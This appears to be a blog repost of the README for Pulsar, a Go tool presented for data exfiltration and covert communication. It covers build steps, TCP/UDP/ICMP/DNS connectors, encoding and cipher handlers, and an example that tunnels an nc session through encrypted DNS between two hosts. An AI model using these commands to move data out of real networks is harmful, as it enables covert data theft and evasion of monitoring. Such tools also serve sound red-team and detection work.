Pulsar - Data Exfiltration And Covert Communication Tool

By: noreply@blogger.com (Unknown)



Pulsar is a tool for data exfiltration and covert communication that enable you to create a secure data transfer, a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection and resend it to real destination through DNS packets.


Setting up Pulsar

Make sure you have at least Go 1.8 in your system to build Pulsar

First, getting the code from repository and compile it with following command:

$ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/net/icmp
$ go build -o bin/pulsar src/main.go

or run:

$ make

Connectors

A connector is a simple channel to the external world, with the connector you can read and write data from different sources.

  • Console:
    • Default in/out connector, read data from stdin and write to stdout
  • TCP

    • Read and write data through tcp connections

        tcp:127.0.0.1:9000
  • UDP

    • Read and write data through udp packet

        udp:127.0.0.1:9000
  • ICMP

    • Read and write data through icmp packet

        icmp:127.0.0.1 (the connection port is obviously useless)
  • DNS

    • Read and write data through dns packet

        dns:fakedomain.net@127.0.0.1:1994

You can use option --in in order to select input connector and option --out to select output connector:

    --in tcp:127.0.0.1:9000
    --out dns:fkdns.lol:2.3.4.5:8989

Handlers

A handler allows you to change data in transit, you can combine handlers arbitrarily.

  • Stub:

    • Default, do nothing, pass through

  • Base32

    • Base32 encoder/decoder

        --handlers base32

  • Base64

    • Base64 encoder/decoder

        --handlers base64

  • Cipher

    • CTR cipher, support AES/DES/TDES in CTR mode (Default: AES)

        --handlers cipher:<key|[aes|des|tdes#key]>

You can use the --decode option to use ALL handlers in decoding mode

    --handlers base64,base32,base64,cipher:key --decode

Example

In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel.

[nc 127.0.0.1 9000] <--TCP--> [pulsar] <--DNS--> [pulsar] <--TCP--> [nc -l 127.0.0.1 -p 9900]

192.168.1.198:

$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:test.org@192.168.1.199:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000

192.168.1.199:

$ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:test.org@192.168.1.199:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode
